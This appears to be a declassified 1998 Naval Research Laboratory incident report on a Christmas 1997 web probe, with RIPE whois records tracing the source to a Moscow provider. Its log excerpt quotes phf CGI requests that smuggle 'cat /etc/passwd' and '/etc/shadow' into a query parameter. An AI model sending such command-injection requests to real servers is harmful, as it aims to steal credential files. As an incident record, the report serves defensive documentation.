INCIDENT → D0106.14

Report Date: 6Jan98
Name: [redacted]
Command: Naval Research Laboratory (NRL) //:USN
Phone (COMM): 202-767-3438
Phone (DSN): 297-3438
E-Mail: [redacted]@hightop.nrl.navy.mil
Type: Intrusion Attempt
Suspect IP: [redacted]
Victim IP: [redacted]
Port/Service: 80
Incident Date: 25Dec1997
NCIS Case #:
Case Status: open
By:
Notes: 1. Probe Type: phf attempt to take "passwd file"

[redacted] - - [25/Dec/1997:11:32:53 -0500] "GET /cgi-bin/test-cgi?
*"
[redacted] - - [25/Dec/1997:11:32:55 -0500] "GET
/cgi-bin/phf?Qalias=x%0acat%20/etc/pas
swd" 404 -
[redacted] - - [25/Dec/1997:11:32:57 -0500] "GET
/cgi-bin/phf?Qalias=x%0acat%20/etc/sha
dow" 404 -

2. System:

system name: [redacted]cmf.nrl.navy.mil, www.atd.net, www.nrl.atd.net
TCP/IP address: [redacted] www for atd and [redacted]-fa0

3. Date: Dec 25, 1997

4. Origin of Probe:

inetnum: [redacted] - [redacted]
netname: MICRONET
descr: MicroNet Ltd.
descr: Requested network ip numbers will be used for connecting
descr: to MAcomnet.
country: RU
admin-c: SB1164-RIPE
tech-c: DV86-RIPE
status: ASSIGNED PA
notify: ip-reg@ripn.net
changed: ovl@ripn.net 980105
source: RIPE

route: [redacted]
descr: MAcomnet
descr: Miusskaya sq. 6, bldg 3
descr: Moscow, Russia, 125267

b6 b7C b7E

(10)

D0106.14

origin: AS8470
notify: hostmaster@macomnet.ru
notify: lvv@macomnet.ru
mnt-by: AS2118-MNT
changed: lvv@relcom.eu.net 971018
source: RIPE

person: [redacted]
address: MicroNet Ltd.
address: 18, Novozavodskaya st
address: 121309, Moscow, Russia
phone: +7 095 145-9520
phone: +7 095 145-9522
phone: +7 095 142-0618
fax-no: +7 095 924-0464
e-mail: [redacted]@microdin.ru
nic-hdl: SB1164-RIPE
changed: ov1@ripn.net 980105
source: RIPE

b6
b7C

person: [redacted]
address: [redacted]
address: 3\5 Raspletina str.
address: 193060 Moecow
phone: +7 095 1941995
e-mail: [redacted]relcom.eu.net
nic-hdl: DV86-RIPE
changed: [redacted]relcom.eu.net 971017
source: RIPE

5. Number of Probes: (3)

(11)

16